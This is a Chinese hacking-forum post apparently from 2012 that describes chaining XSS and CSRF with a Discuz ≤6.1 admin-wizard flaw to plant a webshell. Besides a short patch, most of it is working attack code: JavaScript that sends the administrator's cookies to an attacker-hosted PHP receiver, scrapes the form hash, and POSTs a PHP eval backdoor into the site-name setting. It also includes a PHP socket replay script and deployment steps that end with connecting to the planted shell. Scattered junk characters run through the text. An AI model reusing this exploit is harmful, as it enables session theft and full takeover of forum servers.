找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 3668|回复: 0
打印 上一主题 下一主题

Discuz XSS得webshell

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 17:11:49 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
Discuz XSS得webshell
# E4 k% L7 s0 }' @* VBy racle @tian6.com
( @* P9 j' v4 I) |* S$ d2 L欢迎转帖.但请保留版权信息." j* z" Q0 R$ a7 r! g* N
受影响版本iscuz<=6.1.0,gbk+utf+big5
$ c- v3 D2 h8 y) Z( j* h1 N0 @! u! |4 z
新增加完全JS利用版本,只有一个文件.ajax-racle.js.有效版本提升至DZ6.1(理论上7.0版本都可以,但是6.1以上版本都已经默认打上补丁),新增浏览器版本判断,对方浏览器为IE或FIREFOX都有效." b8 Q' `, e9 q. x1 L7 {! X" k+ ~! Y

# t' a6 s, r3 N& {) t- k
1 `/ \0 J2 Z. R) j6 p& k% N3天前有朋友在论坛问过,说Discuz有个非论坛创始人获得WEBSHELL的漏洞,是superhei早前发出来的一大堆DISCUZ漏洞之一.见原帖:http://bbs.tian6.com/redirect.ph ... 54794&ptid=87066 E9 B% B2 ?0 r
当时我说一会就弄出来给大家,但是实际上一接触,发现这个漏洞本身需要管理员后台权限,要广泛普遍的利用还是很复杂的,主要是以下几个问题,所以拖到今天才基本完工.
0 q3 u: p5 i5 j) w" g! t1 c6 Y3 a, ?3 z
分析和写EXP的过程中,得到t0by57,Superhei的大力帮助.他们PHP和JS都不错的哦!希望大家看这篇文章时,更注意分析和明白的过程,毕竟XSS是目前WEB安全的最大头戏.各种形式:XSIO,Cross Iframe Trick,crsf等等..
' e1 _9 S; T; X/ v7 ~$ {$ R本帖补充其中一个FLASH XSS应用方法:配合Discuz得shell-Flash XSS5 }# _' {1 U  N  E7 X- R( U# W
5 }0 U, R: j2 O& g$ l" x" E
! u, g, i  U- q1 \8 p, m
----------------------------------------------------------前言分隔线-----------------------------------------------------------------------------5 M) y8 Y) H9 {8 u  E# P. Z, L. [2 v! J
" x( ^; H9 \6 r5 l2 {6 ]

: @& I6 E$ x$ b0 k+ O( D/ Qproblem1:漏洞页面runwizard.inc.php数据提交方式为post.需要模拟POST提交.7 p1 |2 R9 R* m+ K. @& s! Y
/ y! `5 L+ S# d, e! i, m
problem2ISCUZ论坛在数据提交的时候还验证了referer,因此还要伪造一下.php socket和js都可以伪造referer.
9 k3 t' ~3 H5 X" Q# V
- M' O7 P+ M# ~+ e% b; n, Q) rproblem3:formhash()函数采用了用户名+密码+XXX的算法得出,程序本身没办法模拟算出来,于是又耗费了我一段时间,最终想到个傻办法,从源代码里读出来.呵呵.这里是参考了superhei的一个旧EXP想出来的.
$ G% m( J. r- j6 X# R$ J
& h/ J2 k7 F( l9 b6 d8 J% @, c; j" s6 ~2 E, i" ~; d/ q$ @& E& }) V
下面,我为大家简单说说这个漏洞的成因和补的办法.这里是有漏洞的文件代码:bbs/admin/runwizard.inc.php,里面有个函数function saverunwizardhistory() {  v1 `* L- q8 y1 \/ k

4 t2 t% h% h: z6 Q0 F        global $runwizardfile, $runwizardhistory;
+ p! `& \" i. Z( A( r
4 q) j( T8 p% ~7 F9 `& V' k; T        $fp = fopen($runwizardfile, 'w');% G/ [0 [& b+ N" j* O; R0 Q" ^
: y: b  G! N: K7 f1 }
        fwrite($fp, serialize($runwizardhistory));4 B$ z5 Z6 m8 E) _

5 v* y4 e$ ]7 j* j5 y$ ?; D# I        fclose($fp);
  ?8 t8 P9 _2 k
& h1 Z5 K: l1 Q2 ~}6 l% u( N5 U) U; A7 N, E
复制代码serialize($runwizardhistory)直接就写进$fp里.runwizardhistory是什么呢?是论坛一些基本的配置信息,譬如论坛名.反应在论坛后台,位置是:discuz.com/bbs/admincp.php?action=runwizard&step=2.论坛名称,地址等三项信息都没任何过滤.该三项内容任何一项都可以直接写入一句话,提交,然后保存在缓存:bbs/forumdata/logs/runwizardlog.php里.0 i& ?' u  W6 {! g" E2 h
以下是修补的办法:function saverunwizardhistory() {0 u& C7 t2 w# d6 ?6 N9 q, X
% `" g) Q  B' B4 S
        global $runwizardfile, $runwizardhistory;# x2 B5 P0 [# V

# Z+ x" B# `3 }        $fp = fopen($runwizardfile, 'w');
- o6 S% W/ s, h+ O- m' b
% b' ?9 }( ]3 y        $s = '<?php exit;?>';( \( Q* w4 X1 B) r/ U! V/ \) \9 Z
7 L- V; |2 S+ M6 g
        $s .= serialize($runwizardhistory);$ T4 A# v# \' b) K
2 K% W2 N0 Y1 j1 ~$ B
        fwrite($fp, $s);* f) Y2 a: m+ c4 }; }

' s2 G* Q: j" j- S) e# ~: s        fclose($fp);
8 a& ^( P# v1 o% r% J# E/ K' r6 t/ b1 Y1 p; U4 f4 y8 a
}
* Q& N2 ]$ l$ V) a: N! G复制代码加写 '<?php exit;?>';到最前面,退出并且忽略该文件后面所有PHP代码.这么即使里面有一句话,也不能再被执行.7 \( W$ d$ v9 d/ V' v
3 F) o2 M7 _) p  r
5 ~% @7 P  a& }2 X. I  P8 s2 ]0 Z

; V& k9 H5 L+ p3 I# I8 \2 R1 b----------------------------------------漏洞的成因和利用方法分隔线-----------------------------------------------------------------------------7 N, A" ^( M/ w5 S. {0 r

) Z7 ^8 h2 ]9 I! u$ @9 U7 V* B1 a9 u/ i
  以上是该漏洞的成因和利用方法.大家看到这里,估计也认为这是个鸡肋漏洞了吧,首先要有管理员权限,有后台权限,然后才能上WEBSHELL,实话说,有后台权限,拿SHELL的办法也并不止这一个.所以这个洞的价值,看起来就不大了.当然,这个已经被发布的nday不是我本帖要讲的重点.这里我主要是想告诉大家,将XSS,Crsf和本漏洞联合起来的办法.这样该洞价值就大很多了.
2 H$ Y% U5 Q) g* w% \$ ^
3 N% b6 L9 ^# s6 t, @) }我们的思路是:论坛上有个xss点,Crsf flash(的确有,Discuz! member.php xss bug,Discuz! 数据库错误信息xss bug,Discuz! flash Crsf bug,Discuz! admincp.php xss bug,Discuz![flash] xss bug),管理员点击或浏览后,就执行了我们的JS,带他到外部一个JS中,通过JS获得他的COOKIES,获得他的HASH,然后经过外部一个PHP封装SOCKET以POST的形式提交前面说的动作,如果论坛没有补上该问题(目前没几个论坛补了.当然,天阳已经补了.^^),那么就会产生bbs/forumdata/logs/runwizardlog.php这个WEBSHELL.
- j/ B, t2 b2 F& l' x1 G
9 `5 b$ r) o2 u( X这篇文章主要不是给大家个EXP,然后让大家拿着到处乱黑的,主要是讲方法,讲思路.因为这里学问不少.: `5 ?# e( A! y8 S1 S! {
2 R+ W7 x# T0 q1 j
首先我们要看,怎么通过JS,获得管理员COOKIES,然后把COOKIES传递给最终提交的PHP.获得的办法相信大家都知道,但是传递的办法,譬如以图片形式传递,就非常稳定和实用.是实现AJAX本地语言到服务器语言PHP的好办法.JS部分代码:- v# g0 O9 I4 r# b
2 o* S! W2 G" ^" V( q
var url="http://目标网站/admincp.php";        g% f2 h1 ?% L( w8 z3 f8 e2 ?

, L$ e% j, _& E3 h. _/*获得cookies*/) x/ T3 w5 }! G1 L$ [  }
- ?) K* O' l' o1 Y3 O! s+ {
function getURL(s) {
) [9 G. V4 \7 `8 J' T7 o0 g
1 n& ^) a- \6 ?2 A4 |7 Ivar image = new Image();
+ @6 \4 x& L/ P+ D1 T; a" r: L8 G2 Z6 L- S% o* I) A3 _8 K
image.style.width = 0;8 e  ^$ H/ v, H5 W; a

& `1 d2 V; R5 {' }+ pimage.style.height = 0;% y6 V) k4 F  i* q! {2 K! `
- L) b7 u; I- v1 l5 ]
image.src = s;4 }. c& D5 \; P- H% X1 F& E

. p+ a9 `: R( x4 L6 W: t  k+ H4 t}2 Y7 K6 M/ i1 _3 f" t" y  _( Z) P
  E6 W" Y2 g) Y+ D& X$ S
getURL("我们做好的接收cookies的.php?x="+encodeURIComponent(document.cookie));  //这里就通过image变量传给了php9 B5 G$ }+ ?) K2 K; o. z
复制代码php以get方式接收过来的变量.$cookies=$_GET['x'];6 [. r# D0 _# F! Z1 I0 U2 F
复制代码同理,hash我也是这么传到PHP里.不过HASH的获得方法也是很有意思的,众所周知,discuz有formhash来保护每个授权访问的唯一性.但是你也可以发现,在论坛页面用户退出的地方,引用了这个hash.我们要做的,就是从页面的源文件里搜索出hash,筛选出来,传递给PHP即可.筛选的办法很多,你有兴趣的话,可以看看我的筛选JS代码(而且这里discuz其实还留了一手,呵呵)
( Q& G# P; ]& \0 b% A  H
5 A* ^) G4 t0 |. b  w+ A+ L; w6 R9 \6 j6 m6 e/ t, t7 K
获得了cookies和hash以后,我们需要结合完整数据,做一次模拟提交,大家可以看看,这个是我之前写好的AJAX提交方式:var url="http://tian6.com/raclebbs/";. f; s" \, B( i1 x
0 y2 f1 ]( q- m/ a& O' |
3 m0 \) z: C' A$ U( h, R6 i. l
: _3 X! f9 [0 |" t2 G
/*hash*/
' }( y# Z! P+ ~. O% ^3 U5 h) u* H
var xmlHttpReq = new ActiveXObject("MSXML2.XMLHTTP.3.0");! N) g7 P% H$ }: b$ r/ c) e
, w8 ?, c/ [' R2 D8 ?' ~( _; N
xmlHttpReq.open("GET", url+"admincp.php?action=home", false);
! J! y) Q+ \, J6 _: P) `; I/ K* J' u7 u1 l
xmlHttpReq.send();( }) R8 p. e- j( g

$ @! j  R! m' g& w8 @; N/ Lvar resource = xmlHttpReq.responseText;+ X  i8 V* D" u  a

: T, N' A3 {/ A) F3 X4 V' P5 Dvar numero = resource.search(/formhash/);7 c* {. v$ p/ `; Q! f  G" y, \

' l. M0 x2 ~/ Evar formhash=encodeURIComponent(resource.substr(numero+17,8));( |% r' q. M8 K4 h

# `; R8 p. i& Y9 X+ D; c5 P) c# m8 \1 t% L& e
) ]" c# a7 I# s
var post="formhash="+formhash+"&anchor=&settingsnew%5Bbbname%5D=1&settingsnew%5Bsitename%5D=<%3Fphp+eval(%24_POST[racle])%3F>racle%40tian6.com&settingsnew%5Bsiteurl%5D=http%3A%2F%2Fwww.comsenz.com%2F&step2submit=%E4%B8%8B%E4%B8%80%E6%AD%A5";//构造要携带的数据 $ ~& I" U- w% x1 M0 D& {9 y7 q

: f1 @' f# n0 p+ m. j! Y" `$ VxmlHttpReq.open("OST",url+"admincp.php?action=runwizard&step=3",false);//使用POST方法打开一个到服务器的连接,以异步方式通信
) v- t3 h# r' y  h( G- L' W
5 Q% Y  J2 o8 G+ P% C6 IxmlHttpReq.setRequestHeader("Referer", url);& K' J; H) ]" I: I& Y7 S* H

9 `' {( W0 [( G, r) CxmlHttpReq.setrequestheader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");& D. _+ r; a7 w
+ ]8 h* ^! B" |: H! ^1 k% ?
xmlHttpReq.setrequestheader("content-length",post.length);
3 \8 ?( m! k3 T* t; h6 x
8 s$ Q! B9 V# c4 @3 AxmlHttpReq.setrequestheader("content-type","application/x-www-form-urlencoded"); + @1 Y- ]; |; p4 b

6 t/ }" A# I0 c1 O, X4 {" ixmlHttpReq.send(post);//发送数据6 B$ z$ b% ~, I
复制代码这里HASH我假设正确,这样提交,也无须cookies4 U' K" \" ]- p1 U) t

& f" [9 s, d: Q7 `5 [, o再看看以PHP SOCKET形式提交.$sock = fsockopen("$url", 80, $errno, $errstr, 30);
4 F3 q5 x0 K9 c
( [7 ]- s: N# ]if (!$sock) die("$errstr ($errno)\n");
2 i; U- d7 x$ [$ N! \5 d+ p4 P' A' f# ]
$data = 'formhash='.$hash.'&anchor=&settingsnew%5Bbbname%5D=Discuz&settingsnew%5Bsitename%5D=<%3Fphp+eval(%24_POST[racle])%3F>racle%40tian6.com&settingsnew%5Bsiteurl%5D=http%3A%2F%2Fwww.comsenz.com%2F&step2submit=%E4%B8%8B%E4%B8%80%E6%AD%A5';
5 Y' L2 Q% L0 k) \: U4 s; `0 Y! b" O! `6 G* P. R5 a% N9 a( Z1 f4 V

$ {$ a% X3 N; a8 o. H
9 C. k2 u8 Q$ C; n; Vfwrite($sock, "OST http://$url/admincp.php?action=runwizard&step=3 HTTP/1.1\r\n");
  E' E& b. K' g8 ]7 Q& \+ A* t; J/ i7 O) A8 \. }( y" P1 m/ r- f3 S" U3 a
fwrite($sock, "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*\r\n");
& _5 I; C( J# T  ]" O! I
; T8 V* e6 T. m. R) Ofwrite($sock, "Referer: http://$url/admincp.php?action=runwizard&step=2\r\n");9 ~* p4 [4 F2 Z' S  k1 w
* l6 V( B. w% J9 v, t4 ?
fwrite($sock, "Accept-Language: zh-cn\r\n");
5 }2 ^+ T4 u% x% f: ?: ?6 K- b: \/ z9 L, ?& Z0 ^' m1 ^6 ?) E
fwrite($sock, "Content-Type: application/x-www-form-urlencoded\r\n");+ T, }, y6 f6 g- L1 A$ r. x
+ @* j8 p# e& U" r
fwrite($sock, "Accept-Encoding: gzip, deflate\r\n");
' H3 l& W8 S( ?
: G3 ]/ Z8 ~2 z3 t5 E2 hfwrite($sock, "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; http://bsalsa.com) ; User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; http://bsalsa.com) (Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)); .NET CLR 1.1.4322; .NET CLR 2.0.50727)\r\n");8 d8 M7 [) |4 l/ M! D1 t- G: P

. [( V4 g1 S3 |/ ]2 Cfwrite($sock, "Host: $url\r\n");. _  h. U# [% b
' ?' M. B) k' H
fwrite($sock, "Content-Length: ".strlen($data)."\r\n");0 `1 A+ H9 i2 u/ R

* C2 w' F4 q1 K" Q0 Y8 i2 i+ Ufwrite($sock, "Connection: Keep-Alive\r\n");+ c( l3 I+ Y" w( |+ E1 Z: _# j8 b
0 o( L. J7 @/ E3 h3 C) Q) r
fwrite($sock, "Cache-Control: no-cache\r\n");
3 Z* Y# ~$ m8 \  Z0 W- ^' d; [& F7 f! J
fwrite($sock, "Cookie:".$cookies."\r\n\r\n");
; t6 x& u8 p( s5 K' p5 r  e% }
$ T  `: e$ b; e% l+ i2 v& efwrite($sock, $data);' y2 f6 M: S' c" Y1 O2 t

$ o0 B( p+ k% ^
' T4 n" l" m# q* {9 M( h
( j- F  o/ {$ x" D9 b$headers = "";
  b, f  J& A6 }6 G3 t8 e" l9 ^0 I) I/ \6 i' e
while ($str = trim(fgets($sock, 4096)))- ^/ N$ G! f. X/ C
9 e4 Z! ]8 F& U. E
     $headers .= "$str\n";
6 K1 N: J2 s: o( L$ m% T( [# u/ X; D  o# U) d. k# b" D- I8 X8 ?3 n
echo "\n";! G' i0 ]( m  G' V$ L3 Y
9 X" L/ W" a4 r6 |8 x7 `8 C$ A
$body = "";
7 l7 T+ c& @; ~
  c, X4 I4 j$ T- D6 [# x. u  bwhile (!feof($sock))
3 J7 I; i6 `% B: y% l- N! m$ d7 x5 h9 q6 Y& h
     $body .= fgets($sock, 4096);
+ A8 t6 x; U9 {7 X% S; {
! t! E( J* J% ?. @9 e% e1 Dfclose($sock);
7 }3 T( z% ]) m2 E$ C9 i' T9 u% [( M5 d2 R, Y( \6 f
echo $body;0 k' x, C+ }0 k. q, k% w( W5 r
复制代码整个漏洞XSS应用大致如此,下面附上JS文件,PHP封装好的提交文件.利用文件限制一下,已注册用户才可以下载,刚来也没关系,仔细看看前面的分析,你也差不多能写出来.^^
% V8 z& e! r( |0 K5 ?& q+ v. |$ s' m
' l0 h+ z. E6 u5 d) E6 g+ ]
$ ~- e# x" R( b4 P( L7 W-------------------------------------------XSS文件分析分隔线-----------------------------------------------------------------------------
5 T$ p+ t7 X8 j  E. A) g" B. a" Y+ X. K$ \- h6 l
/ ?. _* o& o; k" F
1HP SOCKET利用方法首先打开racle.js
# S! T) C) k: i& h3 v2 ]$ t$ M# V' v( s& n
var url="http://tian6.com/raclebbs/admincp.php?action=home"; //改成你要XSS攻击的目标,譬如http://www.discuz.com/admincp.php?action=home
. P! G. E+ `- {8 B# @' w4 C' h+ b
: w: F. k3 i7 R& f4 b1 t

$ E5 Y) u- S  n! }3 P然后打开racle@tian6.php0 N: A. c0 l1 ~8 v1 }% z5 m4 u

( u+ x7 l) Y( z3 _$url="racle@tian6.com";   //改成你要XSS攻击的目标,譬如www.discuz.com
3 Y, n5 S# v4 g5 Z% G. G4 f' J6 f# e# m' J

( @) r3 e* q( E6 w/ m
0 }- A" M* c7 K+ o* k" v) N如果目标论坛为6.1版本,无须再改动.如果目标为6.0或以下版本,请修改:
9 @( {4 K5 ?0 f8 W2 X, G' E3 @
* ]! V2 I4 {8 ?1 c% w# T* g+ H# _getURL("racle@tian6.php?resource_hash="+encodeURIComponent(resource.substr(numero+17,8))+"&x="+encodeURIComponent(document.cookie));
( p5 u& i( e& ^7 o4 d+ u- Q6 c* B

% @2 ^2 l: x9 M4 [4 }7 e% F, @& Z7 q) ]3 y) \2 c& I9 {4 k
getURL("racle@tian6.php?resource_hash="+encodeURIComponent(resource.substr(numero+9,8))+"&x="+encodeURIComponent(document.cookie));4 _' E4 e: C1 w# {0 _4 Y% Q$ K
复制代码2:JS利用方法打开ajax-racle.js,修改var url="http://tian6.com/raclebbs/";为你要攻击的论坛地址.! N) t: k2 C6 [1 Q  @+ _+ W) h

; [( M9 \1 D: m: F" R' K0 c( y" p& T% `& z& p  k3 Q
) Y$ p2 E0 x& R1 ~5 j+ G6 U
如果目标论坛为6.1版本,无须再改动.如果目标为6.0或以下版本,请修改:7 z6 D4 q3 ?, D6 W6 V1 [

2 p, i+ n5 s! T% Jvar formhash=encodeURIComponent(resource.substr(numero+17,8));
" n8 _6 \+ [0 ~8 ^! g# D$ c* X4 Q/ M5 P  m6 {2 P+ Z3 _

+ m8 i! J3 \9 _2 v5 f$ q4 c6 B  Z, M% z1 i* t
var formhash=encodeURIComponent(resource.substr(numero+9,8));# B& K+ ?: J1 M) x" v) L- O& O
复制代码ok.以上两种方法则其一.在攻击前,我们应该先看看论坛打上补丁没有,你可以尝试访问:http://target.com/bbs/forumdata/logs/runwizardlog.php,如果一片空白,那就没戏咯.不是空白就会有些论坛信息出现,但也不代表就肯定存在漏洞,因为可能人家补过之后没有更新过论坛信息而已.目前来说,有8成把握吧.
7 E2 R$ w# d2 m
3 _0 N" \- \, o% ~) P. r如果是第一种方法,就把racle.js,还有racle@tian6.php文件上传到一个可以执行PHP的地方,譬如你以前拿下的WEBSHELL里.两个文件需在同一目录下.记得该空间要支持PHP.然后在论坛以<script src=http://你放好的地方/racle.js></script>构造好XSS点.7 z1 N' k9 g- S

; K8 f4 l: h+ q2 X1 f7 |3 R9 \如果是第二种方法,就把ajax-racle.js,上传到一个你以前拿下的WEBSHELL里,然后在论坛以<script src=http://你放好的地方/ajax-racle.js></script>构造好XSS点.# U* s: S+ E3 p0 v

9 C  V" @. l: ~' I+ M不管你用什么方法,等到管理员一点该连接或者浏览一下论坛,他论坛bbs/forumdata/logs/runwizardlog.php里就多了个<?php eval($_POST[racle])?> ^^.赶紧拿控制端连上去吧.7 _% o" U, }' C3 T
1 M& U* D+ m3 g7 P: m
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表